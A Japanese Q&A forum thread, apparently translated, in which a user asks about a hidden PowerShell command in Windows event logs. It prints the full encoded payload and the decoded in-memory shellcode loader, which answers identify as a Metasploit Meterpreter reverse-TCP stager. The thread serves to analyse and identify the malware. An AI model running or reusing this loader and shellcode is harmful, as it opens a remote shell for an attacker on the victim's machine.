コンピューターの前に座って使用していないときに、Windows 10マシンがいくつかのターミナルウィンドウをすばやく点滅させ、Windowsセキュリティポップアップを表示してパスワードを要求しました。
これが何のためかわからないので、ファイルエクスプローラーとイベントログを少し調べてみたところ、次のデータを含むPowerShellの一連のエントリ全体が見つかりました。
HostApplication=powershell.exe -nop -w hidden -c $s=New-Object IO.MemoryStream(,
[Convert]::FromBase64String(
'H4sIAEy98VUCA7VWbW+bSBD+nEr9D6iyBKiOjRO3TSNVOsAQ4zOOKTaO7VonDAusvbwE1rFxr//9BhsS99pU6UmHkNiXmZ1nnpnZwdtEDsVxxNALfcV8ff3qbGindshwtcBKrSvpwpus6kxt793eJ8Mr/uwMJGphL8qzeGcO75hPDDcXk6QThzaOFtfX8iZNUUSP88YNomKWoXBJMMo4nvmbmQQoRee3yxVyKPOVqf3VuCHx0ialWC7bToCYczFyi71+7NgFuoaZEEw59ssXlp+ftxYN5X5jk4xjzTyjKGy4hLA8840vDI7yBHGsjp00zmKPNiY4urxojKPM9tAATntAOqJB7GYsD77AmyK6SSPmxKvimKMQx8JwmMaO6LopykCnoUUP8RpxtWhDSJ35g5uXGD5vIopDBPsUpXFiovQBOyhrdO3IJegz8hbcAG0r11+qxJ0qgdSQpnwdovMsWD12NwQd9Vn+R7gnceXhOYkt0PHt9avXr7wqJVatm6uHbTb0T/MCRmfzwxgBZG4YZ/gg/IkR6owOZm0apzlMa6N0g/gFMy8CMl8smFqWZn/11frzJ7QqcRAmIz1Z9S/1Yn1uxdhdgF4ZsdpSSO6L9eczr4M8HKFOHtkhdqrk4n4WAeQRdPC3UYkNABnHlhvI7SCCfJsWbNaZ+Y9qSojpo660wcRFqehAFDNABQHmvwdzDBDHapGOQqDqOGchEB6kNKqkyzTOK+vFHIRYmdhZVmeGG6gpp86YyCbIrTNilOFyS9zQ+DBkn+DqG0KxY2e0Om7BVzyW9uQ4ymi6cSB64PvITJCDbVJQUWe62EVSbmK/ssv+lAjZJgRHPpz0AIGAlYIAkxY5kQLEMv58w0RUCxOCQpA6lLdKbB+KuSyGQxrZPnLZf2Os0vyY0wUbFQ0nCCHEJolpnbFwSuGWKJh9TKb/iuLkmjjgkVNUxoSrymYu5bTI89rWv729JEV6lhQdCEkpkKGmcSjZGXrfNmkKVHFvmgruvBt24r0Ij6J+NizJHFszTXd7xNSoOVVwfxwEGm5pPszzseIPqZD8ORp1e2anK6adXeCJWqYpXSk3WpLodPEHqyeNx6CH5b6x2mmiK4X+nT+Vt9owuNPAkNz3NR++khY4kjATfElQ5b4pBQoWRN80uka7NdOaV0TCe1Mzxe7k0d6jHaXd7t7tRuJA74mBeuuqrQv1oL8u9Gfrm35HOcydYm5MMwUrYEdRp4YVoImVSBNFnRlWovlvt75h9ZttNZBgXcO7fmI24Wm1eg+Ru9fJ1V4HuIY162E003yU+6IhiuY0IuZyK4M/PTnzkaKoY1hbj7RoZywT3c2n3eZHS8coiUVDEUWVQHmGor3tNFuTWDWsd8ZYEXb5WNhtlVVzq+Dedl1+xzfv3/tNrz1sWqYWde1AArx5r73GvbewF9qWMPWaVsFfR4ma++iO2EO5FZNlszXGnQ+SpGHUG+gOuZfAZzjjnbGM5Qsn8ACT5l8Z/t06WH0ME/CLxKJ0iH8hlwPPPcA/TdQhKWSxM+hhxy3O6mEPznWBIw988fuzXAWaxr60Ffxkt8bqx+guMLxm9KbIWkjb2n7dIuH+JBufazm6nWaBTSBLoYtU14Qap2rZDoYxLjQ47vCnsEZphAg0Vmi9VaWJhMRO0Z2eGge0x2PTWsCNMYbh5cVPRzzzKMg/Na1q6fp6BlChdo+l1eijyKdBXdhdCgJ0HWHXFsDdlzsox0nOlYfVi75VsvRkgRws8EVd12I16d5Mwo7+/5JYXikBfNwXkfi09ovdFxEr1CsCftj4fuG3WP5tBiY2piBpwsVI0LFL/4KIMnFOfnEeAwWZ4ZVP8c95u6HnA/j9+QfZGsmx7AoAAA=='
));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
Base64文字列は、有効なgzipヘッダー(hex 1F 8B 08 ...)で始まるものにデコードされます。Macでそれを解凍しようとしましたが、エラーが発生しました。
これが何であるかを誰かが知っていますか、そしてそれが正当である可能性はありますか?
更新:感染したマシンは、MacのVirtualBoxで実行されているWin 10ホストです。 Macホストが感染する可能性はありますか?これは仮想化によって妨げられるものだと思いますが、エクスプロイトは常に進化しています...
コメントには大きすぎるので、これを回答に投稿します。それは何をするのかわかりません(大ざっぱに見えますが)が、これが拡張です。もちろんPSスクリプト自体です。
function t2Mj {
Param ($hVrV8B2fWj, $zfOqpP8)
$mJnysoxSPX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $mJnysoxSPX.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($mJnysoxSPX.GetMethod('GetModuleHandle')).Invoke($null, @($hVrV8B2fWj)))), $zfOqpP8))
}
function j1G8vwsPg {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $srs_LF,
[Parameter(Position = 1)] [Type] $lTMpjL3Mn = [Void]
)
$b0pq = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$b0pq.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $srs_LF).SetImplementationFlags('Runtime, Managed')
$b0pq.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $lTMpjL3Mn, $srs_LF).SetImplementationFlags('Runtime, Managed')
return $b0pq.CreateType()
}
[Byte[]]$wgOO3l = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAACJCsgeEEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoFQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXkhj9mpAQVloABAAAEFYSInySDHJQbpYpFPl/9VIicNJicdNMclJifBIidpIiflBugLZyF//1UgBw0gpxkiF9nXhQf/n")
$zk1lmz = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll VirtualAlloc), (j1G8vwsPg @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $wgOO3l.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($wgOO3l, 0, $zk1lmz, $wgOO3l.length)
$oFpHGWmDM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll CreateThread), (j1G8vwsPg @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$zk1lmz,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll WaitForSingleObject), (j1G8vwsPg @([IntPtr], [Int32]))).Invoke($oFpHGWmDM,0xffffffff) | Out-Null
間違いなく疑わしく見えます。しかし、私はそれを認識していません。
それは私のためにうまく解凍します...私はBase64文字列をバイナリに変換し、それからgunzip
を実行しました(ここではLinuxシステムを使用しています)。その結果、PowerShellの別の部分が実行され、確実に魚と見なされることができるだけになります。これには450バイトの断片が含まれており、(ネイティブ)RAMにロードされ、コードとして実行されます。私はコードの一部を分解するのが面倒なので、このコードの一部がまったく安全ではないと言ったとき、私はかなり安全だと感じます。
マシンにマルウェアがあり、いくつかの特権を取得しようとしているようです。それはいくつかの核心の時間だと私は言うでしょう。
2つの類似したレジストリエントリを持つマシンがありました。
私は次のスキャナーを試して、レジストリで危険なスクリプトを取得するかどうかを確認しましたnoneこれらは、執筆時にそれらを取得しました:AVG、Kapersky tdsskiller、rKill、Malwarebytes、hitmanpro、Zemana Antimalware 、アドウェアクリーナー、ジャンクウェア削除ツール、Emisoft、Hijackthis、UsbFix、CCleaner、Smadav。
私がまだ試していないのはRogueKillerとSymantecのスキャナーで、どちらもこの「Powerworm」またはpowershellの種類の動作に関する記事または言及がありました。いずれにせよ、ほとんどのスキャナーはレジストリーにこの方法で隠れているだけなので、マルウェアをマシン上に隠す非常に賢い方法です。
これはmetasploit meterpreterシェルがリバースtcpを試行し、基本的にサービス(dll)をプロセスに挿入してシェルを取得します。